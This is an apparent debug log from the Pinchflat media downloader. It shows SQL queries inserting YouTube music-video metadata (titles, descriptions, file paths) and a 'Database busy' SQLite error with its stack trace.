QUERY OK source="sources" db=0.2ms idle=155.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:38.311 [debug] QUERY OK source="media_items" db=0.2ms idle=155.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2013-10-06 17:37:44Z], 4] 22:21:38.322 [debug] QUERY ERROR source="media_items" db=2002.4ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "18d18e60-9bfa-456f-86df-6b9109ba9dbc", false, "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", 6, "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, false, 1, [], 1, ~U[2021-08-02 04:45:46Z], ~U[2026-07-24 02:21:36Z], ~U[2026-07-24 02:21:36Z], "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "CRqWJy9KxV8", 269, false, "https://www.youtube.com/watch?v=CRqWJy9KxV8", "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", false, 1, ~U[2021-08-02 04:45:46Z]] 22:21:38.322 [error] GenServer #PID<0.3027.0> terminating ** (Exqlite.Error) Database busy INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto 3.12.5) lib/ecto/repo/schema.ex:837: Ecto.Repo.Schema.apply/4 (ecto 3.12.5) lib/ecto/repo/schema.ex:416: anonymous fn/15 in Ecto.Repo.Schema.do_insert/4 (pinchflat 2025.9.26) lib/pinchflat/slow_indexing/slow_indexing_helpers.ex:172: Pinchflat.SlowIndexing.SlowIndexingHelpers.create_media_item_and_enqueue_download/2 (pinchflat 2025.9.26) lib/pinchflat/slow_indexing/file_follower_server.ex:102: Pinchflat.SlowIndexing.FileFollowerServer.attempt_process_new_lines/1 (stdlib 6.2) gen_server.erl:2345: :gen_server.try_handle_info/3 (stdlib 6.2) gen_server.erl:2433: :gen_server.handle_msg/6 (stdlib 6.2) proc_lib.erl:329: :proc_lib.init_p_do_apply/3 Last message: :read_new_lines State: %{handler: #Function<2.109099185/1 in Pinchflat.SlowIndexing.SlowIndexingHelpers.setup_file_follower_watcher/3>, io_device: {:file_descriptor, :prim_file, %{handle: #Reference<0.304696451.716570656.8502>, owner: #PID<0.3027.0>, r_buffer: #Reference<0.304696451.716570625.88064>, r_ahead_size: 65536}}, last_activity: ~U[2026-07-24 02:21:36.134321Z]} 22:21:38.541 [debug] QUERY OK source="media_items" db=229.6ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["One of the best final boss themes \n\nSENATOR ARMSTRONG FROM METAL GEAR RISING REVENGEANCE!!!!!\n\n\nLike And Enjoy!!\n\n\n\n\n\nthe content used in this video is not mii property, the song like the characters are the property of their respective konami and collaborators copyright to their respective owners.", "Senator Armstrong Theme - It Has To Be This Way - Lyrics", "ed881672-844d-4f56-a0cb-19d835b7c711", false, "2l0RMGid6vo", 304, false, "https://www.youtube.com/watch?v=2l0RMGid6vo", 28, "/downloads/Grift/Grift/2013-10-06Senator Armstrong Theme - It Has To Be This Way - Lyrics[2l0RMGid6vo].m4a", false, false, 4, [], 1, ~U[2013-10-06 17:37:44Z], ~U[2026-07-24 02:21:38Z], ~U[2026-07-24 02:21:38Z], "One of the best final boss themes \n\nSENATOR ARMSTRONG FROM METAL GEAR RISING REVENGEANCE!!!!!\n\n\nLike And Enjoy!!\n\n\n\n\n\nthe content used in this video is not mii property, the song like the characters are the property of their respective konami and collaborators copyright to their respective owners.", "Senator Armstrong Theme - It Has To Be This Way - Lyrics", "2l0RMGid6vo", 304, false, "https://www.youtube.com/watch?v=2l0RMGid6vo", "/downloads/Grift/Grift/2013-10-06Senator Armstrong Theme - It Has To Be This Way - Lyrics[2l0RMGid6vo].m4a", false, 4, ~U[2013-10-06 17:37:44Z]] 22:21:38.542 [debug] QUERY OK source="sources" db=0.3ms idle=230.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:38.542 [debug] QUERY OK source="media_items" db=0.2ms idle=220.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-23 15:00:24Z], 4] 22:21:38.672 [info] {"error":"** (exit) %Exqlite.Error{message: \"Database busy\", statement: \"INSERT INTO \\\"media_items\\\" AS m0 (\\\"description\\\",\\\"title\\\",\\\"uuid\\\",\\\"prevent_download\\\",\\\"media_id\\\",\\\"duration_seconds\\\",\\\"livestream\\\",\\\"original_url\\\",\\\"playlist_index\\\",\\\"predicted_media_filepath\\\",\\\"prevent_culling\\\",\\\"short_form_content\\\",\\\"source_id\\\",\\\"subtitle_filepaths\\\",\\\"upload_date_index\\\",\\\"uploaded_at\\\",\\\"inserted_at\\\",\\\"updated_at\\\") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT (\\\"source_id\\\",\\\"media_id\\\") DO UPDATE SET \\\"description\\\" = ?, \\\"title\\\" = ?, \\\"media_id\\\" = ?, \\\"duration_seconds\\\" = ?, \\\"livestream\\\" = ?, \\\"original_url\\\" = ?, \\\"predicted_media_filepath\\\" = ?, \\\"short_form_content\\\" = ?, \\\"source_id\\\" = ?, \\\"uploaded_at\\\" = ? RETURNING \\\"id\\\"\"}","args":{"force":true,"id":1},"id":201,"meta":{},"state":"failure","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":15307749,"event":"job:exception","queue_time":290500,"attempt":2,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:21:38.836 [debug] QUERY OK source="media_items" db=164.5ms queue=128.4ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Stream the new single “RATATATA” now:\nhttps://babymetal-electriccallboy.lnk.to/RATATATA\n“RATATATA\" is taken from the new album 'METAL FORTH' which is available everywhere now: https://babymetal.lnk.to/MetalForthID\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan\n\nSubscribe to Electric Callboy’s YouTube channel:\nhttps://www.youtube.com/c/electriccallboy?sub_confirmation=1\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Merch: https://lnk.to/ElectricCallboy\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Instagram: http://instagram.com/electriccallboy\n• X: https://x.com/electriccallboy\n• Facebook: https://www.facebook.com/electriccallboy\n• TikTok: https://www.tiktok.com/@electriccallboy\n• Discord: https://discord.com/invite/electriccallboy\n\nConcept by Schillobros., Electric Callboy and BABYMETAL\n\nProduced and Directed: Schillobros. https://www.instagram.com/schillobros\nDirector of Photography & Colorist: Florian Berwanger\n1st AC & B-Cam Operator: Tim Schuback\nFocus Puller: Jan Schmidt\nTechno Crane Operator: Simon Recker\nGaffer: Christian Mono\nGaffer FX Light: Patrick Unger / 2morrowlights\nKey Grip: Victor Oonk\nGrip: Felix Mangoldt\nGrip: Björn Bruns\nMake-Up Artist: Ella Siou, Aya Watanabe (BABYMETAL)\nAdditional Make-Up: Carolin Claßen\nWardrobe (BABYMETAL): SHOHEI KASHIMA(w inc.)\nBTS & Photos: Christian Ripkens\nSet Builder: Jörg Holderny\nAssistant Set Builder: Florian Slaby\nSFX: FOG fireworks + sfx\nEC Costume: Naja-Marie Baumann\nProp Maker: Kami Zero & Mirjam Piuk\nDrum Tech: Chris Orth\n\nLocation: Studio One2One\nLocation: Pieter Smit\n\nRentals: TDAClair, Spottlight, CineOne\n\nSpecial thanks to RAZER\nhttps://www.razer.com\n\nCAST:\nYusuke Yamasaki \n\nJoel Matzelt\nMelissa Buschmann\nVera Wagner\nEssa Bentayeb\nJohanna Neuland\nThomas Zoder\nBy Graze Agency\n\nLyrics by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß & MK-METAL.\nMusic by NORiMETAL, Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß\nProduced by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß, KOBAMETAL; Co-Produced by Manuel Renner\nMixed by Daniel Haniß\nMastered by Christoph Wieczorek\nPublished by Amuse Inc. & Sony Music Publishing / Edition Kim All\n\n#BABYMETAL #ElectricCallboy #RATATATA \n\nLYRICS:\nEvery night when the sky turns red up above\nI feel the beat in my veins \nAnd I'm searching for love \nYou know that hips don’t lie \nI leave you hypnotized \nJust give me one more try \nTo make you feel that vibe \nAnd it goes\n\nRa ta ta ta ta ta!\nMy body is a weapon \nRa ta ta ta ta ta!\nWe’re gonna hit the floor \nRa ta ta ta ta ta!\nWe’re gonna make it happen \nRa ta ta ta ta ta!\nNow gimme some more\n\nI will push it to the limit\nAnd everybody’s feeling the sound of the night \nI don’t wanna stop\nWe push it to the limit\nTogether we will crash the morning light\n\nブ·チ·ア·ガ·レ!\nBun Bun Bun Moving\nBun Bun Bun Bun Bun \nBun Bun Bun Shaking\nBun Bun Bun Bun Bun \nBun Bun Bun Jumping\nBun Bun Bun Bun Bun \nBun Bun Bun Stomping\n\nBun Bun Bun Bun Bun\n\nアゲ!\nキラっとしちゃうアゲ!\nフワっとしちゃうアゲ!\nドキっとしちゃうアゲ!\n小悪魔しちゃうけど大丈夫?\n瞳に映した 笑顔の魔法で罠に誘い込む\n\nAnd it goes\nRa ta ta ta ta ta!\nMy body is a weapon \nRa ta ta ta ta ta!\nWe’re gonna hit the floor \nRa ta ta ta ta ta!\nWe’re gonna make it happen \nRa ta ta ta ta ta!\nNow gimme some more\n\nI will push it to the limit\nAnd everybody’s feeling the sound of the night \nI don’t wanna stop\nWe push it to the limit\nTogether we will crash the morning light\n\nブ·チ·ア·ガ·レ!\nBun Bun Bun Moving\nBun Bun Bun Bun Bun \nBun Bun Bun Shaking\nBun Bun Bun Bun Bun \nBun Bun Bun Jumping\nBun Bun Bun Bun Bun \nBun Bun Bun Stomping\nBun Bun Bun Bun Bun\n\nI’m here for the moment\nHere for the beat \nHere for the love \nAnd the friends I need\nYou know that I’ll be there for good \n\nI’m here for the moment\nHere for the beat \nHere for the love \nAnd the friends I need\nYou know that I’ll be there for good\n\nRA TA TA TA!\nI go fucking crazy ‘cause I’m waiting f" <> ..., "BABYMETAL x @ElectricCallboy - RATATATA (OFFICIAL VIDEO)", "c3952e47-a312-4c09-84d9-a0c7e0f8f135", false, "EDnIEWyVIlE", 222, false, "https://www.youtube.com/watch?v=EDnIEWyVIlE", 29, "/downloads/Grift/Grift/2024-05-23BABYMETAL x @ElectricCallboy - RATATATA (OFFICIAL VIDEO)[EDnIEWyVIlE].m4a", false, false, 4, [], 1, ~U[2024-05-23 15:00:24Z], ~U[2026-07-24 02:21:38Z], ~U[2026-07-24 02:21:38Z], "Stream the new single “RATATATA” now:\nhttps://babymetal-electriccallboy.lnk.to/RATATATA\n“RATATATA\" is taken from the new album 'METAL FORTH' which is available everywhere now: https://babymetal.lnk.to/MetalForthID\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan\n\nSubscribe to Electric Callboy’s YouTube channel:\nhttps://www.youtube.com/c/electriccallboy?sub_confirmation=1\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Merch: https://lnk.to/ElectricCallboy\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Instagram: http://instagram.com/electriccallboy\n• X: https://x.com/electriccallboy\n• Facebook: https://www.facebook.com/electriccallboy\n• TikTok: https://www.tiktok.com/@electriccallboy\n• Discord: https://discord.com/invite/electriccallboy\n\nConcept by Schillobros., Electric Callboy and BABYMETAL\n\nProduced and Directed: Schillobros. https://www.instagram.com/schillobros\nDirector of Photography & Colorist: Florian Berwanger\n1st AC & B-Cam Operator: Tim Schuback\nFocus Puller: Jan Schmidt\nTechno Crane Operator: Simon Recker\nGaffer: Christian Mono\nGaffer FX Light: Patrick Unger / 2morrowlights\nKey Grip: Victor Oonk\nGrip: Felix Mangoldt\nGrip: Björn Bruns\nMake-Up Artist: Ella Siou, Aya Watanabe (BABYMETAL)\nAdditional Make-Up: Carolin Claßen\nWardrobe (BABYMETAL): SHOHEI KASHIMA(w inc.)\nBTS & Photos: Christian Ripkens\nSet Builder: Jörg Holderny\nAssistant Set Builder: Florian Slaby\nSFX: FOG fireworks + sfx\nEC Costume: Naja-Marie Baumann\nProp Maker: Kami Zero & Mirjam Piuk\nDrum Tech: Chris Orth\n\nLocation: Studio One2One\nLocation: Pieter Smit\n\nRentals: TDAClair, Spottlight, CineOne\n\nSpecial thanks to RAZER\nhttps://www.razer.com\n\nCAST:\nYusuke Yamasaki \n\nJoel Matzelt\nMelissa Buschmann\nVera Wagner\nEssa Bentayeb\nJohanna Neuland\nThomas Zoder\nBy Graze Agency\n\nLyrics by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß & MK-METAL.\nMusic by NORiMETAL, Kevin Ratajc (truncated) 22:21:38.836 [debug] QUERY OK source="sources" db=0.3ms idle=294.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:38.837 [debug] QUERY OK source="media_items" db=0.1ms idle=294.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:00:05Z], 4] 22:21:39.025 [debug] QUERY OK source="media_items" db=187.7ms idle=166.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Astrea Colornatura, opera singer and vocal coach sings \"Gimme Chocolate\" by Baby Metal with Vtubers MinikoMew and Shoomimi!\n🌿₊˚ ✧ ━━━━⊱ 𝐋𝐈𝐊𝐄 & 𝐒𝐔𝐁𝐒𝐂𝐑𝐈𝐁𝐄 ⊰━━━━ ✧ ₊˚🌿\n\nNOW AVAILABLE ON ALL STREAMING SERVICES!\nSpotify: https://open.spotify.com/track/1iYaQfElaz9a1k2bWlNMmL?si=64b3ceba1c674607\nApple Music: https://music.apple.com/us/song/gimme-chocolate/6777149599\nBandcamp: https://weebcore.bandcamp.com/track/gimme-chocolate-feat-astrea-colornatura-miniko-mew-shoomimi \n\n\n『 Socials 』\n🌿 https://www.twitch.tv/astreacolornatura/\n🐏 https://twitter.com/astreanatura\n🌿 https://throne.com/astreacolornatura\n🐏 https://www.tiktok.com/@astreacolornatura\n🌿 https://discord.com/invite/zXJFt2PjV2\n\n『 Music 』\nhttps://youtube.com/playlist?list=PLEDRhaRQetlur72yDZesdLdben210pkZo&si=G0GWzScfXkqiau2n\n\n『 Donations 』⇾ https://ko-fi.com/astreacolornatura 💚\n*Donations are non-refundable, so please only tip if it is within your means. Tipping is not necessary to be a welcome part of this community so please never feel like you have to! ‧₊˚\n\n『 Gifts 』⇾ https://throne.com/astreacolornatura 🎁\nyou can purchase gifts for me here! the items i add to my throne wishlist are usually things to improve my stream setup or to fund fan suggested projects! \n\n🎨Art: https://x.com/sznkyuu \n🎬MV: https://x.com/nbshikii\n🎧Mix/Master/Instrumental: @MetalWeebcore \n🎵Vocals/Tuning: \u200E\u2068@AstreaColornatura\u2069\u00A0\n🎶Vocals: @MinikoMew @Shoomimi \n\n───────────── .✦. ────────────\nBusiness Inquiries: astreanatura@gmail.com\n\n\n#vtuber #babymetal #gimmechocolate #vtubersong #vtubercover #vtuberclips #vtuberuprising #operasinger #astreacolornatura #minikomew #shoomimi", "【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura", "82b28d0f-ecd2-448f-a343-d63288c64147", false, "KYm3sSd_4Ts", 232, false, "https://www.youtube.com/watch?v=KYm3sSd_4Ts", 30, "/downloads/Grift/Grift/2026-06-12【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura[KYm3sSd_4Ts].m4a", false, false, 4, [], 1, ~U[2026-06-12 16:00:05Z], ~U[2026-07-24 02:21:38Z], ~U[2026-07-24 02:21:38Z], "Astrea Colornatura, opera singer and vocal coach sings \"Gimme Chocolate\" by Baby Metal with Vtubers MinikoMew and Shoomimi!\n🌿₊˚ ✧ ━━━━⊱ 𝐋𝐈𝐊𝐄 & 𝐒𝐔𝐁𝐒𝐂𝐑𝐈𝐁𝐄 ⊰━━━━ ✧ ₊˚🌿\n\nNOW AVAILABLE ON ALL STREAMING SERVICES!\nSpotify: https://open.spotify.com/track/1iYaQfElaz9a1k2bWlNMmL?si=64b3ceba1c674607\nApple Music: https://music.apple.com/us/song/gimme-chocolate/6777149599\nBandcamp: https://weebcore.bandcamp.com/track/gimme-chocolate-feat-astrea-colornatura-miniko-mew-shoomimi \n\n\n『 Socials 』\n🌿 https://www.twitch.tv/astreacolornatura/\n🐏 https://twitter.com/astreanatura\n🌿 https://throne.com/astreacolornatura\n🐏 https://www.tiktok.com/@astreacolornatura\n🌿 https://discord.com/invite/zXJFt2PjV2\n\n『 Music 』\nhttps://youtube.com/playlist?list=PLEDRhaRQetlur72yDZesdLdben210pkZo&si=G0GWzScfXkqiau2n\n\n『 Donations 』⇾ https://ko-fi.com/astreacolornatura 💚\n*Donations are non-refundable, so please only tip if it is within your means. Tipping is not necessary to be a welcome part of this community so please never feel like you have to! ‧₊˚\n\n『 Gifts 』⇾ https://throne.com/astreacolornatura 🎁\nyou can purchase gifts for me here! the items i add to my throne wishlist are usually things to improve my stream setup or to fund fan suggested projects! \n\n🎨Art: https://x.com/sznkyuu \n🎬MV: https://x.com/nbshikii\n🎧Mix/Master/Instrumental: @MetalWeebcore \n🎵Vocals/Tuning: \u200E\u2068@AstreaColornatura\u2069\u00A0\n🎶Vocals: @MinikoMew @Shoomimi \n\n───────────── .✦. ────────────\nBusiness Inquiries: astreanatura@gmail.com\n\n\n#vtuber #babymetal #gimmechocolate #vtubersong #vtubercover #vtuberclips #vtuberuprising #operasinger #astreacolornatura #minikomew #shoomimi", "【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura", "KYm3sSd_4Ts", 232, false, "https://www.youtube.com/watch?v=KYm3sSd_4Ts", "/downloads/Grift/Grift/2026-06-12【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura[KYm3sSd_4Ts].m4a", false, 4, ~U[2026-06-12 16:00:05Z]] 22:21:39.025 [debug] QUERY OK source="sources" db=0.2ms idle=189.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:39.026 [debug] QUERY OK source="media_items" db=0.1ms idle=189.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-23 18:00:14Z], 4] 22:21:39.183 [debug] QUERY OK source="media_items" db=156.7ms idle=189.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["❤ Valiant Spotify - http://bit.ly/ValiantPlaylists\n\nStream Grabbitz - Tear Me Open\nhttps://orcd.co/tearmeopen\n\n❤ Grabbitz \nhttps://www.youtube.com/channel/UCWT_gUEdU8aoLUT5aIAoICg\nhttps://www.instagram.com/grabbitz\n\n❤ Artwork by ErikVarts\nhttps://x.com/ErikVarts\nhttps://www.pixiv.net/en/users/72187452\n\nFor issues with attribution regarding our use of art, please send an email to contact@whoisvaliant.com", "Grabbitz - Tear Me Open", "e3327e1b-2403-4fb0-8785-a292bf4027b1", false, "_qtrr6Ix9yA", 158, false, "https://www.youtube.com/watch?v=_qtrr6Ix9yA", 31, "/downloads/Grift/Grift/2026-06-23Grabbitz - Tear Me Open[_qtrr6Ix9yA].m4a", false, false, 4, [], 1, ~U[2026-06-23 18:00:14Z], ~U[2026-07-24 02:21:39Z], ~U[2026-07-24 02:21:39Z], "❤ Valiant Spotify - http://bit.ly/ValiantPlaylists\n\nStream Grabbitz - Tear Me Open\nhttps://orcd.co/tearmeopen\n\n❤ Grabbitz \nhttps://www.youtube.com/channel/UCWT_gUEdU8aoLUT5aIAoICg\nhttps://www.instagram.com/grabbitz\n\n❤ Artwork by ErikVarts\nhttps://x.com/ErikVarts\nhttps://www.pixiv.net/en/users/72187452\n\nFor issues with attribution regarding our use of art, please send an email to contact@whoisvaliant.com", "Grabbitz - Tear Me Open", "_qtrr6Ix9yA", 158, false, "https://www.youtube.com/watch?v=_qtrr6Ix9yA", "/downloads/Grift/Grift/2026-06-23Grabbitz - Tear Me Open[_qtrr6Ix9yA].m4a", false, 4, ~U[2026-06-23 18:00:14Z]] 22:21:39.183 [debug] QUERY OK source="sources" db=0.2ms idle=158.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:39.184 [debug] QUERY OK source="media_items" db=0.1ms idle=158.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-09 10:04:45Z], 4] 22:21:39.514 [debug] QUERY OK source="media_items" 